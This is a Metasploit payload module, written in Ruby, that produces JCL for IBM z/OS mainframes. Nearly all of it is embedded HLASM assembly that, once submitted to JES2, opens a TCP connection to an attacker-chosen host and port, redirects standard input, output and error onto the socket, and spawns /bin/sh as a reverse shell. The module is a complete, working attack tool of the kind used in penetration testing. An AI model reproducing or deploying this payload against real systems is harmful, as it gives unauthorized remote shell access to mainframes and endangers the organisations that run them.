##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
# This payload has no ebcdic<->ascii translator built in.
# Therefore it must use a shell which does, like mainframe_shell
#
# this payload will spawn a reverse shell from z/os, when submitted
#  on the system as JCL to JES2
##

module MetasploitModule
  CachedSize = 8993

  include Msf::Payload::Single
  include Msf::Payload::Mainframe
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Z/OS (MVS) Command Shell, Reverse TCP',
        'Description' => %q{
          Provide JCL which creates a reverse shell
          This implementation does not include ebcdic character translation,
          so a client with translation capabilities is required.  MSF handles
          this automatically.
        },
        'Author' => 'Bigendian Smalls',
        'License' => MSF_LICENSE,
        'Platform' => 'mainframe',
        'Arch' => ARCH_CMD,
        'Handler' => Msf::Handler::ReverseTcp,
        'Session' => Msf::Sessions::MainframeShell,
        'PayloadType' => 'cmd',
        'RequiredCmd' => 'jcl',
        'Payload' => {
          'Offsets' => {},
          'Payload' => ''
        }
      )
    )
    register_options(
      [
        # need these defaulted so we can manipulate them in command_string
        Opt::LHOST('0.0.0.0'),
        Opt::LPORT(4444),
        OptString.new('ACTNUM', [true, 'Accounting info for JCL JOB card', 'MSFUSER-ACCTING-INFO']),
        OptString.new('PGMNAME', [true, 'Programmer name for JCL JOB card', 'programmer name']),
        OptString.new('JCLASS', [true, 'Job Class for JCL JOB card', 'A']),
        OptString.new('NOTIFY', [false, 'Notify User for JCL JOB card', '']),
        OptString.new('MSGCLASS', [true, 'Message Class for JCL JOB card', 'Z']),
        OptString.new('MSGLEVEL', [true, 'Message Level for JCL JOB card', '(0,0)'])
      ], self.class
    )
    register_advanced_options(
      [
        OptBool.new('NTFYUSR', [true, 'Include NOTIFY Parm?', false]),
        OptString.new('JOBNAME', [true, 'Job name for JCL JOB card', 'DUMMY'])
      ],
      self.class
    )
  end

  ##
  # Construct Payload
  ##
  def generate(_opts = {})
    super + command_string
  end

  ##
  # Setup replacement vars and populate payload
  ##
  def command_string
    if (datastore['JOBNAME'] == 'DUMMY') && !datastore['FTPUSER'].nil?
      datastore['JOBNAME'] = (datastore['FTPUSER'] + '1').strip.upcase
    end
    lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
    lhost = lhost.unpack('H*')[0]
    lport = datastore['LPORT']
    lport = lport.to_s.to_i.to_s(16).rjust(4, '0')

    jcl_jobcard +
      "//**************************************/\n" \
      "//*  SPAWN REVERSE SHELL FOR MSF MODULE*/\n" \
      "//**************************************/\n" \
      "//*\n" \
      "//STEP1      EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \
      "//L.SYSLIB   DD  DSN=SYS1.CSSLIB,DISP=SHR\n" \
      "//C.SYSIN    DD  *,DLM=ZZ\n" \
      "         TITLE  'Spanws Reverse Shell'\n" \
      "SPAWNREV CSECT\n" \
      "SPAWNREV AMODE 31\n" \
      "SPAWNREV RMODE ANY\n" \
      "***********************************************************************\n" \
      "*        @SETUP registers and save areas                              *\n" \
      "***********************************************************************\n" \
      "         USING *,15\n" \
      "@SETUP0  B     @SETUP1\n" \
      "         DROP  15\n" \
      "         DS    0H                 # half word boundary\n" \
      "@SETUP1  STM   14,12,12(13)       # save our registers\n" \
      "         LR    2,13               # callers sa\n" \
      "         LR    8,15               # pgm base in R8\n" \
      "         USING @SETUP0,8          # R8 for base addressability\n" \
      "*************************************\n" \
      "* set up data area / addressability *\n" \
      "*************************************\n" \
      "         L     0,@DYNSIZE         # len of variable area\n" \
      "         GETMAIN RU,LV=(0)        # get data stg, len R0\n" \
      "         LR    13,1               # data address\n" \
      "         USING @DATA,13           # addressability for data area\n" \
      "         ST    2,@BACK            # store callers sa address\n" \
      "         ST    13,8(,2)           # store our data addr\n" \
      "         DS    0H                 # halfword boundaries\n" \
      "\n" \
      "***********************************************************************\n" \
      "*        BPX1SOC set up socket - inline                               *\n" \
      "***********************************************************************\n" \
      "         CALL  BPX1SOC,                                                X\n" \
      "               (DOM,TYPE,PROTO,DIM,CLIFD,                              X\n" \
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
      "\n" \
      "*******************************\n" \
      "*  chk return code, 0 or exit *\n" \
      "*******************************\n" \
      "         LHI   15,2\n" \
      "         L     7,RTN_VAL\n" \
      "         CIB   7,0,7,EXITP        # R7 not 0? Time to exit\n" \
      "\n" \
      "***********************************************************************\n" \
      "*        BPX1CON (connect) connect to remote host - inline            *\n" \
      "***********************************************************************\n" \
      "         XC    SOCKADDR(16),SOCKADDR        # zero sock addr struct\n" \
      "         MVI   SOCK_FAMILY,AF_INET          # family inet\n" \
      "         MVI   SOCK_LEN,SOCK#LEN            # len of socket\n" \
      "         MVC   SOCK_SIN_PORT,CONNSOCK       # port to connect to\n" \
      "         MVC   SOCK_SIN_ADDR,CONNADDR       # address to connect to\n" \
      "         CALL  BPX1CON,                                                X\n" \
      "               (CLIFD,SOCKLEN,SOCKADDR,                                X\n" \
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
      "*******************************\n" \
      "*  chk return code, 0 or exit *\n" \
      "*******************************\n" \
      "         LHI   15,3\n" \
      "         L     7,RTN_VAL\n" \
      "         CIB   7,0,7,EXITP        # R7 not 0? Time to exit\n" \
      "\n" \
      "*************************************************\n" \
      "* order of things to prep child pid             *\n" \
      "*  0) Dupe all 3 file desc of CLIFD             *\n" \
      "*  1) dupe parent read fd to std input          *\n" \
      "*************************************************\n" \
      "*******************\n" \
      "*****  STDIN  *****\n" \
      "*******************\n" \
      "         CALL  BPX1FCT,                                                X\n" \
      "               (CLIFD,                                                 X\n" \
      "               =A(F_DUPFD2),                                           X\n" \
      "               =A(F_STDI),                                             X\n" \
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
      "****************************************************\n" \
      "*  chk return code here anything but -1 is ok      *\n" \
      "****************************************************\n" \
      "         LHI   15,4               # exit code for this func\n" \
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
      "\n" \
      "*******************\n" \
      "*****  STDOUT *****\n" \
      "*******************\n" \
      "         CALL  BPX1FCT,                                                X\n" \
      "               (CLIFD,                                                 X\n" \
      "               =A(F_DUPFD2),                                           X\n" \
      "               =A(F_STDO),                                             X\n" \
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
      "****************************************************\n" \
      "*  chk return code here anything but -1 is ok      *\n" \
      "****************************************************\n" \
      "         LHI   15,5               # exit code for this func\n" \
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
      "\n" \
      "*******************\n" \
      "*****  STDERR *****\n" \
      "*******************\n" \
      "         CALL  BPX1FCT,                                                X\n" \
      "               (CLIFD,                                                 X\n" \
      "               =A(F_DUPFD2),                                           X\n" \
      "               =A(F_STDE),                                             X\n" \
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
      "****************************************************\n" \
      "*  chk return code here anything but -1 is ok      *\n" \
      "****************************************************\n" \
      "         LHI   15,6               # exit code for this func\n" \
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
      "\n" \
      "***********************************************************************\n" \
      "*        BP1SPN (SPAWN) execute shell '/bin/sh'                       *\n" \
      "***********************************************************************\n" \
      "         XC    INHE(INHE#LENGTH),INHE   # clear inhe structure\n" \
      "         XI    INHEFLAGS0,INHESETPGROUP\n" \
      "         SPACE ,\n" \
      "         MVC   INHEEYE,=C'INHE'\n" \
      "         LH    0,TLEN\n" \
      "         STH   0,INHELENGTH\n" \
      "         LH    0,TVER\n" \
      "         STH   0,INHEVERSION\n" \
      "         CALL  BPX1SPN,                                                X\n" \
      "               (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL,     X\n" \
      "               EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL,        X\n" \
      "               RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
      "         LHI   15,7               # exit code for this func\n" \
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
      "         CIB   7,-1,8,EXITP       # R7 = -1 exit\n" \
      "\n" \
      "****************************************************\n" \
      "* cleanup & exit preload R15 with exit code        *\n" \
      "****************************************************\n" \
      "         XR    15,15              # 4 FOR rc\n" \
      "EXITP    L     0,@DYNSIZE\n" \
      "         LR    1,13\n" \
      "         L     13,@BACK\n" \
      "         DROP  13\n" \
      "         FREEMAIN RU,LV=(0),A=(1) # Free storage\n" \
      "         L     14,12(,13)         # load R14\n" \
      "         LM    0,12,20(13)        # load 0-12\n" \
      "         BSM   0,14               # branch to caller\n" \
      "\n" \
      "****************************************************\n" \
      "* Constants and Variables                          *\n" \
      "****************************************************\n" \
      "         DS    0F                 # constants full word boundary\n" \
      "F_STDI   EQU   0\n" \
      "F_STDO   EQU   1\n" \
      "F_STDE   EQU   2\n" \
      "*************************\n" \
      "* Socket conn variables *         # functions used by pgm\n" \
      "*************************\n" \
      "CONNSOCK DC    XL2'#{lport}'    # LPORT\n" \
      "CONNADDR DC    XL4'#{lhost}'    # LHOST\n" \
      "DOM      DC    A(AF_INET)         # AF_INET = 2\n" \
      "TYPE     DC    A(SOCK#_STREAM)    # stream = 1\n" \
      "PROTO    DC    A(IPPROTO_IP)      # ip = 0\n" \
      "DIM      DC    A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \
      "SOCKLEN  DC    A(SOCK#LEN+SOCK_SIN#LEN)\n" \
      "************************\n" \
      "* BPX1SPN vars *********\n" \
      "************************\n" \
      "EXCMD    DC    CL7'/bin/sh'       # command to exec\n" \
      "EXCMDL   DC    A(L'EXCMD)         # len of cmd to exec\n" \
      "EXARGC   DC    F'1'               # num of arguments\n" \
      "EXARG1   DC    CL2'sh'            # arg 1 to exec\n" \
      "EXARG1L  DC    A(L'EXARG1)        # len of arg1\n" \
      "EXARGL   DC    A(EXARG1)          # addr of argument list\n" \
      "EXARGLL  DC    A(EXARG1L)         # addr of arg len list\n" \
      "EXENVC   DC    F'0'               # env var count\n" \
      "EXENVL   DC    F'0'               # env var arg list addr\n" \
      "EXENVLL  DC    F'0'               # env var arg len addr\n" \
      "FDCNT    DC    F'0'               # field count s/b 0\n" \
      "FDLST    DC    F'0'               # field list addr s/b 0\n" \
      "TVER     DC    AL2(INHE#VER)\n" \
      "TLEN     DC    AL2(INHE#LENGTH)\n" \
      "         SPACE ,\n" \
      "@DYNSIZE DC    A(@ENDYN-@DATA)\n" \
      "***************************\n" \
      "***** end of constants ****\n" \
      "***************************\n" \
      "@DATA    DSECT ,\n" \
      "         DS    0D\n" \
      "PLIST    DS    16A\n" \
      "RTN_VAL  DS    F                  # return value\n" \
      "RTN_COD  DS    F                  # return code\n" \
      "RSN_COD  DS    F                  # reason code\n" \
      "CLIFD    DS    F                  # client fd\n" \
      "@BACK    DS    A\n" \
      "*\n" \
      "         BPXYSOCK   LIST=NO,DSECT=NO\n" \
      "         BPXYFCTL   LIST=NO,DSECT=NO\n" \
      "         BPXYINHE   LIST=NO,DSECT=NO\n" \
      "@ENDYN   EQU   *\n" \
      "@DATA#LEN EQU  *-@DATA\n" \
      "         BPXYCONS   LIST=NO\n" \
      "         END   SPAWNREV\n" \
      "ZZ\n" \
      "//*\n"
  end
end
